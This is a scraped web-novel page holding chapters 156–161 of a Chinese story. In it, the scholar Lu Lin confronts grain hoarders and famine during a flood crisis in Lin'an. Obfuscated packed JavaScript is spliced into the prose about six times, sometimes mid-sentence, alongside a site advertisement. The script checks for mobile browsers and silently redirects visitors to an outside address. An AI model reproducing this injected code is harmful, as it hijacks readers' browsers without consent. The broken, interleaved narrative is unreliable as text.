读书,真的就是慈悲吗? 安坐于书斋,任由窗外哀嚎遍野,这便是读书人该有的慈悲? 这等景象,夫子,你叫我如何慈悲? 卢璘一边摇头,脚步不由自主地向前迈了过去。 走到那名官差面前,伸手,握住了即将落下的木棍。 官差一愣,转头看到一脸阴沉的卢璘,目光如火一般盯着自己。 “尔俸尔禄,民脂民膏。” “你等职责在身,我可以理解,可就这么粗暴对待我临安府的百姓?良心何安?” 官差见卢璘一身生员打扮,知道对方是有功名在身的人,但脸上却没有半分惧色,反而嗤笑一声。 “呵,又来一个多管闲事的酸儒。” 他用力抽回木棍,浑然不惧,反而木棍一竖,指着卢璘的脑袋,厉声道: “莫不是以为自己考了个功名,就敢在这里乱来 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453206|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >了?告诉你,不让这些灾民进城,是府尊大人亲自定下的规矩!” “你再敢多说一句废话,信不信老子连你一块儿拿下,让你也去尝尝武昌府那些酸书生的牢饭是什么滋味!” 话音刚落,黄观、陆恒等人已经快步跟了上来,默默地站在了卢璘的身后。 武昌府! 这三个字,让跟上来的黄观和陆恒等人,心头皆是一凛。 威胁。 赤裸裸的威胁! 黄观快步走到卢璘身边,低声劝道:“琢之,不可冲动,此地不是讲理的地方。” 陆恒也紧张地护在卢璘身侧,死死盯着那几个面露不善的官差。 卢璘点了点头,也知道和官差们多费口舌没有意义。 甚至没有再看那名官差一眼。 转过身,对着黄观和陆恒,平静地开口。 “我行囊里还有些干粮。” “你们帮忙把东西分给大家。” 这个时候食物比钱重要得多,有钱都不一定能买得到吃食。 陆恒没有半分迟疑,立刻上前,从卢璘背后解下行囊。 行囊刚一打开,一股食物的香气飘散开来。 是李氏亲手做的酱肉饼,还有几包用油纸裹得严严实实的糕点。 微弱香气,此刻如同最猛烈的引信,瞬间点燃了人群。 “吃的!” “是吃的!” “给我!给我一点!” “我的孩子三天没吃东西了!求求你了秀才老爷!” 黑压压的人群,猛地向前涌来。 原本还算有序的队伍瞬间崩溃,灾民们都不顾一切地朝着陆恒手中的行囊伸出手,一张张干裂的嘴唇开合着,发出嘶哑的哀求。 陆恒被这阵仗吓了一跳,下意识地将行囊抱紧在怀里。 自强社的几名生员连忙围上来,手拉着手,勉强筑起一道人墙,将陆恒护在中间,声嘶力竭地大喊。 “别挤!大家不要挤!” “排好队!都有份!” 可几人的声音,在成百上千灾民的哭嚎声中,掀不起一点浪花。 李氏准备的干粮,本是给卢璘一人路上吃的,分量本就不多。 此刻,这点食物,在数千灾民面前,连杯水车薪都算不上。 第157章 四大米行 一个抱着婴儿的妇人跪倒在人墙外,对着卢璘不停地磕头,额头很快便见了血。 “老爷,行行好,救救我的孩子吧!她快不行了!” “我什么都不要,只求一口米汤,一口就好!” 一个头发花白的老者,被挤得东倒西歪,绝望地伸着枯瘦的手。 “我……我不想死……” 惨状,就在眼前。 陆恒等一众自强社的学子,哪里见过这等景象,一个个脸色发白,手足无措。 就在这时,一道身影挤了进来。 正是刚才那名出言挤兑的年轻士子。 他二话不说,也将自己的行囊解下,从里面掏出几个油纸包,一把塞进了陆恒的怀里。 “算我一个。” 黄观和陆恒等人都是一怔。 士子没有多解释,只是默默地站到了人墙边,帮着阻拦拥挤的人群。 卢璘见状,长长地叹了口气。 他拨开众人,站到了最前面,面对着那一双双通红的眼睛,运足了气,朗声开口。 “大家不要着急!不要拥堵!” “先给老人和小孩!吃的会有的!” “大家再坚持一会,我去城里给大家弄吃食来!” 人群的骚动,奇迹般地停滞了一瞬。 所有人都看向这个站在最前方的年轻人。 去城里弄吃的? 去哪里弄? 怎么弄? 黄观心中一急,刚想上前阻止卢璘,却被汹涌的人潮隔绝在外,根本挤不进去。 心中默默叹气。 琢之,你这是何苦啊。 现在城里粮食早就被各大豪绅囤积居奇,价格飞涨,有钱都不一定能买到。 你这个承诺,要怎么兑现啊? 黄观明白卢璘此举的用意,人活着,有时候就凭着一口气,一个念想。 可这口气,这个念想,若是最后落了空,眼前的这些灾民,恐怕会彻底陷入绝望。 不等黄观多想,年轻士子也跟着高声喊道。 “吃的!还有药品!我们都会想办法搞过来!” “大家再坚持一会!我们都是读书人,不会骗大家的!” 一名自强社的生员灵 机一动,扯着嗓子高呼。 “大家请相信我们!” “这位,是我们自强社的社首,江南道案首,卢璘卢案首!” “是写出‘天下谁人不识君’的卢案首!是圣上都亲口称赞过的!” “卢案首说有吃的,就一定会有!” “江南道案首?” “卢璘?” “就是那个写诗的卢案首?” 灾民看向卢璘的眼神,多了一丝敬畏和希望。 人的名,树的影。 卢璘这个名字,在江南道,已然是一块金字招牌。 不远处,高高的城墙之上。 一名身穿云锦华服,腰佩美玉的年轻贵公子,正凭栏而立。 他身后,跟着几名同样衣着不凡的随从。 城墙下发生的一切,都被他尽收眼底。 当看到卢璘站出来,振臂高呼,许下承诺时,年轻贵公子的脸上,露出了一抹冷笑。 “卢璘?” 摇着手中的折扇,贵公子慢悠悠地开口。 “江南道案首,好大的名头。” “可惜,说到底,还不是个小小秀才。” 贵公子转头,看向身旁一名随从,玩味地问。 “你说,等他拿不出粮食的时候,底下这群贱民,会怎么对他?” 随从谄媚的躬身笑道:“公子爷,到时候,都不用您吩咐,这群饿疯了的灾民,就能把他撕成碎片。” “哈哈哈哈!” 贵公子发出一阵大笑。 “那就有意思了。” “传我的话下去,城中所有粮铺,即日起,一律不准对外售卖一粒米。若有违者,直接封店抓人。” “我倒要看看,这位名动京都的卢案首,要怎么变出粮食来,兑现他的承诺。” 半亩园内,残荷听雨,本是雅致清幽之地,此刻却气氛凝重。 黄观看着卢璘,长叹一声:“琢之,你刚才冲动了啊!” 见卢璘不为所动,黄观脸上满是忧色,继续说道:“我知道琢之你是好心,可现在临安府城内的情况,不是有钱就能买到粮食的。” 另一位自强社的生员张胜,脾气素来火爆,此刻更是满脸怒容,一拳砸在石桌上。 “何止是买不到!那群天杀的粮商简直丧心病狂!” “他们囤积居奇每日只放出一点点粮食城里的粮价今天已经涨到八两银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453207|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子一石了!这群畜生真该千刀万剐!” 卢璘闻言眼皮子跳了一下。 八两银子一石? 自己上次来临安府时上好的精米也不过七八百文一石 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节)连一两银子都不到。 短短时日粮价翻了十倍不止。 另一名叫李枫的生员补充道:“不仅如此他们还到处散播谣言说什么运河淤堵漕运三年不通又说北境战事吃紧朝廷要加征辽饷搞得人心惶惶城中百姓只能高价买粮!” 卢璘皱起了眉:“朝廷的赈灾粮呢?上塘河决堤这么大的事朝廷不可能没有反应。” “赈灾粮?” 张胜闻言更加怒不可遏冷笑一声: “是有赈灾粮可还没到百姓手里就被人以押运途中受潮霉变损耗为由暗中扣了。 “转手就卖给了城里的四大粮商!” 这是官仓里的硕鼠和外面的豺狼勾结到了一起啊! 卢璘的脸色彻底沉了下去。 “到底是哪些人?” “明面上是‘丰裕号’、‘德昌隆’、‘永盛和’、‘广源泰’这四家米行。” 黄观接过了话头:“这四家垄断了临安府八成以上的粮食生意。至于他们背后站着什么人就不是我们能知道的了。” 卢璘听过这四家米行的名头在整个江南道都赫赫有名。 是临安府城内根深蒂固的庞然大物几乎每个临安府的百姓都离不开与它们的交易。 “我知道一个!” 一个消息颇为灵通的生员愤愤不平地开口:“府衙里负责发放米帖的钱谷师爷郑汝明!这个黑了心的王八蛋就是这次的主谋之一!谁不知道那丰裕号的东家就是知府大人的小舅子!” “**结沆瀣一气!其实刚才那位兄台说得没错不把这米价打下去光靠我们自强社这点钱粮去赈灾不过是杯水车薪于事无补!” 另一位生员长叹一声满脸的无力: “可凭我们几个穷书生如何能做到?城东、城西、城南、城北四座粮门外的米价牌一日三换。昨天还是斗米百文今天早上漕船迟到的消息刚一传进城那牌价就直接跳到了一百六十文!” 众人你一言我一语将临安府如今的局面血淋淋地铺在卢璘面前。 第158章 四两拨千斤 卢璘默默地听着,脑中却在飞速盘算。 他看过《临安府志》,很清楚地记得临安府城内的关键数据指标。 临安府城内,常住人口约三十万,加上流动人口,总数不下五十万。 再加上如今加上城外**的灾民,少说也有六七十万张嘴要吃饭。 每日消耗的粮食,就是一个天文数字。 粮价每涨一分,就是几十万百姓的活命线。 四大米行看来早就暗中串通好了,要借此机会赚一波大的啊! 卢璘能理解黄观等人的难处。 面对如此庞然大物,他们这些刚刚考取功名的寒门学子,能团结起来,有钱出钱,有力出力,在城外设粥棚,救助灾民,已经称得上是品性高洁,难能可贵了。 一直沉默的陆恒突然叹了口气,转头看着卢璘,脸色凝重: “琢之,这件事,牵扯太大了。你来之前,我们几个凑在一起算过一笔账,这背后搅动的银两,至少是百万两的规模。” “我们.斗得过吗?” 此言一出,满场皆寂。 方才还群情激奋的众人,一个个都低下了头。 是啊。 至少百万两白银,才能平抑粮价。 他们一群刚刚踏入士林,连官场门槛都还没摸到的穷秀才,哪里拿得出这么一大笔钱? 靠嘴去说服四大米行开仓放粮吗? 上百万两银子的声音,光是他们靠嘴就能说动的吗? 他们拿什么去斗? 用一腔热血,还是用圣贤书里的大道理? 半亩园内,死一般的寂静。 斗得过吗? 这个问题,没有人能回答。 方才还群情激奋的自强社生员们,此刻一个个垂头丧气。 对手是盘踞临安府多年的四大粮商,是他们背后错综复杂的官僚士绅网络,是至少百万两白银搅动的滔天巨浪。 他们呢? 一群刚刚考**名,无权无势的穷秀才。 拿什么去斗? 用圣贤书里的大道理去感化那些**不吐骨头的粮商? 还是用一腔热血,去撞开府衙那紧闭的大门? “我等就算是倾家荡产,也拿不出一百万两银 子啊!张胜一屁股坐回石凳上,满脸的颓唐与无奈。 一百万两白银。 这笔钱,抵得上整个临安府一年的税赋。 把在场所有自强社的学子,连同他们的祖宗十八代一起卖了,也凑不齐这笔钱的零头。 有心杀贼,无力回天,现实就是如此残酷。 黄观、陆恒等人,下意识地看向了卢璘。 从始至终,卢璘都一言不发。 只是静静地坐着,面露思索之色。 看着卢璘沉默的模样,众人心中最后一丝希望,也渐渐熄灭了。 是了。 琢之虽然文才盖世,名动江南,可面对这种局面,又能有什么办法呢? 人力有时而穷。 这根本就不是靠一首诗,一篇文章就能解决的问题。 黄观心中长叹一声。 琢之来之前,自强社的骨干们已经商议了无数对策,却又一次次地被他们自己推翻。 想来想去,所有的路,最后都指向了同一个死结。 钱。 没有足以撼动市场的上百万资金,一切都是空谈。 看着卢璘紧锁的眉头,黄观以为他也被这个死局困住了,心中不忍,开口劝慰: “琢之,此事非我等之力所能及,我们尽力而为,能救一个是一个,也算…… 然而,黄观的话还没说完。 卢璘敲击桌面的手指,忽然停住了。 脑海中,无数个词汇在飞速盘旋、碰撞。 粮价、谣言、**结、四大米行,囤积居奇! 一个尘封已久的名字,连带着一套变法之策,从记忆深处浮现出来。 王安石。 市易法! 这是前世历史中,一场轰轰烈烈,却又备受争议的变法。 核心就是为了打击豪商巨贾囤积居奇、操纵物价的行为。 卢璘细细回忆着市易法的细节,具体是如何操作的呢? 由官府出面,设立一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453208|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名为“市易务的机构。 这个机构的职能简单粗暴。 官府亲自下场做生意! 商人滞销的货物,市易务平价收购,以免商人因货物积压而破产。 市场上紧俏的商品 ,市易务则开仓售卖,平抑物价。 甚至,市易务还向城中的小商贩们发放低息贷款,让他们有资本与那些大粮商、大布商抗衡。 这套组合拳打下来,等于是从根子上,断了那些豪商巨贾通过垄断渠道、囤积货物来牟取暴利的根基。 以往由市场决定的贱买贵卖,变成了由官府主导的官府定价。 这才是真正的釜底抽薪! 用朝廷的公权力,直接介入市场,调节供需,稳定价格! 当然,卢璘也清楚知道,这场变法最终还是失败了。 再好的经,到了下面,也会被歪嘴和尚念歪。 市易法推行到后期,负责执行的官僚为了追求政绩,强买强卖,与民争利,搞得民怨沸腾。 再加上触动了太多豪门士族的利益,遭受到了空前强大的抵制,最终只能草草收场。 但. 思路是正确的! 谁说平抑物价,就一定需要用天文数字的银子去填? 那只是最笨,最无奈的办法! 只要用对了方法,撬动规则,四两,一样可以拨千斤! 看着卢璘一言不发,神情变幻不定,黄观脸上的忧色更浓了。 他以为卢璘是钻了牛角尖,一时想不开。 “琢之,你……” 还没等黄观说完,卢璘霍然起身,嘴角露出笑意: “谁说,没有百万两银子,就平抑不了粮价?” 此时,一缕阳光照进半亩园。 方才还满脸沉思,眉头紧锁的卢璘,披上一层金光后,之前所有的沉郁压抑,一扫而空。 整个人眼神飞扬,身上散发出一股利剑出鞘,锋芒毕露之意! 尤其是平日温润平和的眼中,似有一团火在燃烧! 众人全都愣住了,呆呆地看着卢璘。 一时间,竟无人开口。 第159章 我赌琢之热血未凉 陆恒第一个反应过来,神色激动: “琢之,你想到办法了?” 其余几名自强社的生员,也齐刷刷地看向卢璘,方才颓丧的脸,此刻都燃起了期待。 黄观,同样眼含期待,琢之这么快就找到突破口了? 众人目光的汇聚下,卢璘点了点头,缓缓开口: “有个大概的想法,但具体如何操作,还需要大家集思广益。” 卢璘这话略显保守。 实际上,当“市易法”从脑海中冒出来的时候,一个大概的方案框架就已经成型了。 剩下的,不过是一些需要根据临安府实际情况进行调整的细节。 卢璘之所以这么说,是刻意为之。 他倒不是怕一个人扛不住压力。 四大米行背后站着的是谁? 府衙知府?还是学政大人? 卢璘不在乎,也不畏惧。 这次临安府的粮价风波,让他看到了自强社的另一面。 看到的是一个个朝气蓬勃,会实干,不只是空谈抱负的读书人。 他们有组织,有行动力,更有那一腔尚未被世故磨灭的热血。 这是一支可以被锻炼,被引导的力量。 用这次平抑粮价的实战,来锻炼出一支如臂使指,有组织,有动员,有方向,更有凝聚力的队伍。 这比单纯解决眼前的危机,要有价值得多。 一旁的陆恒见卢璘迟迟没有开口,已经急不可耐了。 “琢之,快说说你的思路!” 卢璘点了点头,却没有直接回答,反而将问题抛给了他。 “陆恒,我先问你,城里这四大米行,他们的经营路数,是不是我们江南一带通用的‘三联单’模式?” 三联单。 是江南一代传统商业经营模式。 拿米行为例,在春秋季节性采购之际,通常的做法是向钱庄借款,向产粮地订粮,最后卖出粮食再还清贷款。 这其中的关键,在于一个“借”字。 就拿这次囤积居奇来说,四大米行就算囤积了十万石粮食,其中至少有六万石,是他们抵押了名下的田产、商铺,从各大钱庄借来的银子买下的。 用后世的话来说,这就是一 个典型的高杠杆行业。 陆恒家里就是经营布庄生意的从小耳濡目染对这些门道自然一清二楚。 “不止如此。” 立马接过卢璘的话回答道:“还有许多看不见的开销。漕运打点官府常例仓廪损耗这些都是要花钱的而且数目不小。” 陆恒对生意有着天生的敏锐他一听卢璘的问题脑子瞬间就转过来了眼前一亮。 “琢之你可是想……断了他们的资金链?逼他们不得不抛售手里的存粮?” 卢璘笑而不语轻轻点了点头。 此言一出在场其他几名生员也瞬间反应过来一个个精神大振。 “对啊!釜底抽薪!” “只要钱庄不给他们借钱甚至催他们还款他们就得卖粮食换银子!要不然抵押的田产就会被钱庄没收。” “这路子可行!” 众人兴奋不已黄观却依旧皱着眉头等众人冷静下来才主动发问: “琢之可如何让钱庄倒逼四大米行呢?” “钱庄也不是傻子他们也等着四大米行把粮价抬上去高价卖出之后他们才能连本带利地把钱收回来甚至还能多分润一笔。” “我们凭什么让钱庄站到我们这边来?” 气氛顿时为之一滞。 是啊钱庄和粮商本就是一条绳上的蚂蚱利益共通怎么可能反过来帮他们? 众人再次看向卢璘。 卢璘挑了挑眉脸上带笑: “那就看诸位的表演了。” 众人面面相觑云里雾里。 众人拾柴火焰高。 半亩园内石桌上摊满了纸张上面用墨笔勾画着纵横交错的线条与圈点。 这是临安府的舆图。 从午后到日暮这场由卢璘主导的商议一直未曾停歇。 自强社的生员们 “四大米行在城**有二十七处铺面城东九家城西七家城南六家城北五家。他们的粮仓大多设在铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453209|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面后院但最大的总仓在城外漕运码头附近!” “临安府最大的钱庄有三家分别是 ‘汇通源’、‘日升昌’、‘四海通’。其中汇通源的东家与丰裕号米行是姻亲!” “**!我们必须造出声势!让全城的百姓都知道粮价飞涨的真相!” “如何造势?写文章贴到城中各处告示栏!我们读书人笔就是刀!” 卢璘静静听着时不时开口将众人发散的思绪拉回主线。 “文章要写 “要写惨。” “写决堤之后百姓流离失所之惨。写城外灾民易子而食之惨。写父母卖儿卖女只为换一口活命粮之惨。” “要让城里的每一个百姓都感同身受都心生恐惧。让他们明白今日米价八两明日就可能十两百两!今日遭殃的是城外灾民明日就轮到他们自己!” 一直到夕阳西下这场议论才算告一段落。 陆恒送着黄观和其他几位自强社的骨干成员往园外走脸上还带着兴奋。 “明日一早我便去联系相熟的刻书坊把琢之写的文章连夜印出来!” “城南那边交给我我保证天亮之前所有告示栏都贴满!” “城北我来!” 众人意气风发三言两语便将任务瓜分完毕在半亩园门口相互拱手作别约定了明日碰头的时间便各自散去。 很快门口便只剩下了陆恒与黄观二人。 晚风吹过带着一丝凉意也吹散了陆恒脸上几分亢奋。 看着同伴们消失的方向陆恒忽然没头没尾地问了一句。 “景明你就这么笃定琢之他不会袖手旁观?” 陆恒心里其实一直捏着把汗。 黄观字景明。 这次实在有些冒险了。 原本最好的做法是找个由头将这次的文会推迟。 等秋闱在即再书信一封给卢璘告知临安府的情况让他安心备考不要分心。 以卢璘的聪慧自然能明白其中的利害。 这样一来既全了朋友的情分也能让卢璘避开这场风波。 不至于耽误了秋闱。 第160章 一种是心中有火的 可黄观偏不。 偏要一封书信把卢璘喊来,让他亲眼看看这城外的惨状,亲耳看看这人间炼狱。 赌的,是卢璘那颗尚未被功名利禄侵染的赤子之心。 赌输了,自强社人心涣散,甚至可能因此与卢璘生出嫌隙。 黄观转过身,背着手,看着远处临安府的点点灯火,脸上露出轻笑。 “看来,我们赌对了。” “琢之,热血未凉啊。” 陆恒闻言,长长吐出一口气,胸中最后一点担忧也烟消云散。 是啊。 赌对了。 那个写出“天下谁人不识君”的少年案首,骨子里的那股劲,还没被磨平。 “就是不知,琢之的办法到底能不能奏效。” 陆恒顿了顿,又补充道:“不过,最难啃的那块骨头,琢之自己扛下来了。分给我们的,都是些跑腿的活计。” 切断四大米行资金链,逼钱庄收贷,迫府衙出手。 释放官粮将至信号,打破四大米行预期。 民间平价放粮,彻底瓦解垄断。 这三步,环环相扣,听上去简单,可每一步都有很多难点。 而最难的点,都被卢璘揽在了自己身上。 黄观点了点头。 “尽人事,听天命吧。” 陆恒送走了黄观和其他几位社员,再回到半亩园时,夜色已深。 园内静悄悄的,只有一间屋子还亮着灯。 陆恒推门而入,只见卢璘依旧伏在案前,就着烛火,在一张摊开的临安府舆图上写写画画。 偌大的石桌,早已被各种纸张铺满。 有的是临安府的商铺分布图,有的是自强社众人打探来的消息,还有的,是卢璘刚刚写下的那篇足以搅动满城风雨的檄文。 这些天,卢璘不准备回柳府别院了。 他需要在这里,居中坐镇,指挥调度。 半亩园,就是他们的中军大帐。 陆恒放轻了脚步走过去,看到卢璘用朱笔,在舆图上“漕帮”两个字上,重重地画了一个圈,轻声问道: “琢之,是在困扰如何搞定漕帮吗?” 在卢璘的整个计划中,漕帮是至关重要的一环。 甚至可以说是成败的关键。 **造势,是攻心。 逼迫钱庄,是断其粮草。 可若是不能打通漕运,让外地的粮食顺利进入临安府,前面做的一切,都将功亏一篑。 没有真正的粮食冲击市场,四大米行完全可以凭借囤积的存粮,继续硬扛下去。 到那时,他们所有的努力都是虚的。 可漕帮是什么地方? 一群游走在黑白地带的亡命之徒,靠着漕运这条黄金水道为生,由船工、纤夫、码头力工、乃至沿途的水匪混杂而成。 他们不属官,不归民,自成一体,规矩森严。 大夏立国,漕运便是国之命脉,朝廷对漕帮向来是又打又拉。 一方面要倚仗他们保证漕运通畅,甚至会授予一些免税、武装押运的特权。 另一方面,又要时时提防他们坐大难制。 走私、黑市、垄断码头,这些都是漕帮的家常便饭。 四大米行能在这么短的时间内,就让临安府周边产粮区的粮食一粒都运不进来,背后若是没有漕帮的影子,打死陆恒都不信。 想让这群认钱不认人的亡命徒,放弃四大米行许诺的重金,反过来陪着他们这群穷秀才演戏? 难如登天。 卢璘把这块最难啃的骨头,一个人扛了下来。 会为此感到困扰,再正常不过。 然而,卢璘却摇了摇头,拿起笔,在漕帮二字的旁边,又圈出了一个名字。 “胡一刀。” 陆恒看着胡一刀的名字微微一怔。 胡一刀? 为何琢之的重点不是放在漕帮一把手赵天南身上,而是二把手军师胡一刀? 胡一刀是匪号,原名胡斐。 以落榜书生的身份加入漕帮,从底层一路爬到漕帮二把手的位置,掌握漕帮的钱粮调度。 琢之这是想从胡一刀身上入手? 可胡一刀最是痛恨无用酸儒,琢之莫不是不清楚这点?怎么反其道而行之? 陆恒皱起眉头,出言劝阻道: “琢之!胡一刀这个人,你可能不太了解,别看是读书人出生,可落榜后,心态剧变,最是反感自己读书人的经历。” “你如果想从他入 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453210|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 手恐怕难如登天还不如想办法如何打动赵天南。” “听说赵天南在府城里有一房极为宠爱的偏房” 卢璘摇了摇头轻轻一笑开口打断了陆恒: “子毅这世上有两种人最好用。” “一种是裤脚沾着血的。” “另一种是心中有火的.” 陆恒带着满头雾水回自己屋了走的时候嘴里还反复念叨着卢璘最后一句话。 “另一种是心中有火的.” 胡一刀心里有什么火? 琢之也没给自己解释陆恒自己想不太明白。 漕帮大当家赵天南好色贪财并非无懈可击。 为何琢之偏偏要选胡一刀这个最硬的骨头来啃? 一个最是痛恨读书人的前读书人。 屋内烛火依旧燃烧着。 卢璘站起身走到窗前推开了窗户。 耳边传来临安府夜晚的靡靡之气 城内是笙歌城外却是悲哭。 转过身摇了摇头清空了脑中的杂念研墨提笔开始写信: “恩师尊鉴:学生琢之顿首再拜。 此番临安水患肆虐江河暴涨冲垮良田万顷毁我百姓房舍无数。 朝廷虽下旨赈济然灾民流徙至城下却被府兵横戟相拒唯恐阑入城中 四大米行勾结官府闭仓抬价一石糙米竟索钱三贯民有菜色而商贾肥硕此非人间实乃修罗场也! 恩师曾教诲乱世读书方显慈悲学生深表赞同。 然此时目睹饥民易子、饿殍塞道方知纸上济世终究浅薄。 若不行霹雳手段何来菩萨心肠? 学生不敢空谈圣贤之道只愿以其所学行其实效。 纵使涉险亦在所不惜。 斗胆求恩师一事.” 一炷香后卢璘停笔将信纸折好置于掌心口中低声念诵: “欲寄彩笺兼尺素。” “山长水阔知何处。” 话音落下一股无形的才气从他身上涌出包裹住掌心的信纸。 掌中信纸凭空燃烧迅速化作光点而后融入夜色之中。 这是卢璘来临安府之前刚刚掌握的一首远距离通信战诗。 品阶不高没有丝毫杀伤力唯一的作用便是将书信送到千里之外指定的人手中。 第161章 修桥补路无尸骸 “娘,我真的舍不得你,我真的太爱你了,我永远永远爱你。” 清河县,文庙街,卢家小院。 一大清早,院子里就响起了惊天动地的哭嚎。 小石头死死抱着李氏的大腿,小小的身子哭得一抽一抽,鼻涕眼泪糊了满脸。 李氏被她抱得寸步难行,脸上满是无奈,伸手想把她扒拉下来,却怎么也扒不动。 “好好好,娘知道了。” 小石头闻言,抱得更紧了,哭喊声又高了几分。 “娘,我永远永远爱你!” 一旁的屋檐下,郑宁抱着胳膊,看着这出母女情深的戏码,终究是没忍住,噗嗤一声笑了出来。 “哭,你哭也没用,哭也要去私塾被夫子打手心。” 小石头一听这话,哭得更大声了。 “娘,我舍不得你,不想和你分开!” 小石头试图唤醒李氏的母爱。 李氏狠狠瞪了郑宁一眼,好不容易快把这小祖宗哄出门了,又快被这丫头给搅和黄了。 蹲下身,耐着性子对小石头说:“你乖乖去私塾,哥哥以前也是这样过来的,还不用娘送呢。在私塾乖乖听话,下课了,我让你爹来接你。” 李氏真怀疑这丫头是不是自己身上掉下来的肉,怎么和璘哥儿截然相反。 小时候的璘哥儿多懂事啊,完全不用自己操心,怎么到小石头这里,就这么犟啊! 脑筋光长到没用的地方去了。 小石头抽抽噎噎,刚想再说些什么。 这时,里屋的门帘一挑,沈春芳从屋内走了出来。 手里还提着个鼓鼓囊囊的行囊。 李氏见状,有些意外:“夫子,您这是要出门啊?” 以往夫子也会时不时出去一趟,有时候一走就是好几天,李氏也习惯了,只是顺嘴问一句。 沈春芳点了点头:“嗯,去一趟常州府。” 常州府,临安府的邻府,也是江南道有名的产粮大区。 李氏没多想,只当夫子是去访友,眼下最要紧的,还是先把自家这个小哭包送走。 没有再多问,一把将还挂在自己腿上的小石头拎了起来,也不管她如何哭嚎,拉着就往院门外走。 院子里, 终于恢复了安静。 郑宁看着沈春芳手里的行囊心里泛起了嘀咕。 这老头又要搞什么名堂? 沈春芳没有理会郑宁的目光将行囊放在院中的石桌上又转身回了屋。 不多时又走了出来手里多了一封信。 他将信递给郑宁。 “若是有临安府的加急信件或是有人持信物上门就把这封信交给他。” 郑宁接过信封入手很薄上面没有写收信人也没有落款就是一个光秃秃的信封。 她捏了捏里面似乎只有一张纸。 “知道了。”郑宁随口应下把信收进了怀里。 沈春芳交代完便不再多言提起石桌上的行囊径直走出了院门。 郑宁站在原地看着沈春芳的背影总觉得这老头这次出门和以往不太一样。 …… 与此同时临安府半亩园。 卢璘站在临安府的舆图前已经整整一夜了。 这张新的舆图 上面用朱笔和墨笔密密麻麻地标注了各种信息。 四大米行的铺面位置三家大钱庄的东家背景乃至府衙里哪个师爷和哪个粮商是亲戚都标注得一清二楚。 陆恒推门进来的时候看到的就是卢璘一动不动站在舆图前的背影。 他放轻了脚步将手里的一碗热粥和一碟小菜放在桌上。 “琢之吃点东西吧你都一天没合眼了。” 卢璘没有回头目光停留在舆图上漕帮的位置。 “胡一刀那边有消息了吗?” 陆恒叹了口气表情有些挫败: “我托了家里的关系想递帖子拜访结果帖子送进去了人却连漕帮的大门都没进去就被打了出来。” “对方传话了说漕帮的胡二当家最不见读书人尤其是我们这种刚考上功名的酸秀才。” 说实话这个结果在陆恒的意料之中。 胡一刀此人在临安府也是不大不小的知名人物。 本是读书人屡试不第心灰意冷之下投了漕帮。 从一个最底层的账房先生凭 着一股狠劲和毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453211|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣的手段,硬生生爬到了二当家的位置,深得漕帮大当家赵天南的信任。 这样的人,心态早已扭曲,最是痛恨自己曾经的身份。 